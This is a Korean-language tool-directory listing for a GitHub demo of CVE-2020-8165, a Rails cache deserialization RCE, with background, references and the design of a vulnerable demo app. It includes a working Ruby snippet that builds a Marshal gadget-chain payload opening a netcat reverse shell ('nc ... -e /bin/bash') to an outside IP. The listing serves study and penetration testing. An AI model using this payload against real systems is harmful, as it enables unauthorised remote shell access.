Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2020-8165-demo — CVE-2020-8165 Rails 역직렬화 RCE 익스플로잇 시연 - 실제 Shouter 앱, Ruby 기반 페이로드 생성 및 Redis 캐시 중독 | Kitploit
도구/GitHubGitHub/danielklim/cve-2020-8165-demo
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubdanielklim/cve-2020-8165-demo

cve-2020-8165-demo

CVE-2020-8165 Rails 역직렬화 RCE 익스플로잇 시연 - 실제 Shouter 앱, Ruby 기반 페이로드 생성 및 Redis 캐시 중독

저장소 보기
115년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-8165 데모

대부분보다 더 현실적인 구현의 CVE-2020-8165 데모입니다.

배경

CVE-2020-8165

Rails < 5.2.4.3, rails < 6.0.3.1에 신뢰할 수 없는 데이터 역직렬화 취약점이 존재하여, 공격자가 MemCacheStore 및 RedisCacheStore에서 사용자 제공 객체를 역마샬(unmarshal)하여 잠재적으로 RCE를 발생시킬 수 있습니다.

참고 자료

  • https://hackerone.com/reports/413388
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165
  • https://nvd.nist.gov/vuln/detail/CVE-2020-8165
  • https://www.cvebase.com/cve/2020/8165
  • https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a/

구현

'Shouter' 앱의 Shout 모델에는 캐싱 기능이 있으며, shout:string과 함께 제출된 선택적 이미지가 redis에 캐시되어 DB가 아닌 캐시에서 검색됩니다. 취약한 Rails.cache.fetch 메서드가 캐시와 상호 작용하는 데 사용되므로, 이 앱은 CVE-2020-8165에 취약하며, RCE의 결과는 대시보드 라우트의 img 태그 src에 배치됩니다.

RCE 페이로드 생성

다음 스니펫은 exploit.py를 사용하여 보내야 하는 페이로드를 생성합니다. Python에서 익스플로잇을 완전히 구현하려면 직렬화 단계에 대한 약간의 미묘함을 파악해야 합니다. 따라서 (현재로서는) 정확한 페이로드를 생성하려면 Ruby의 Marshal.dump가 필요합니다.

root@kitploit:~
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload
도구 다운로드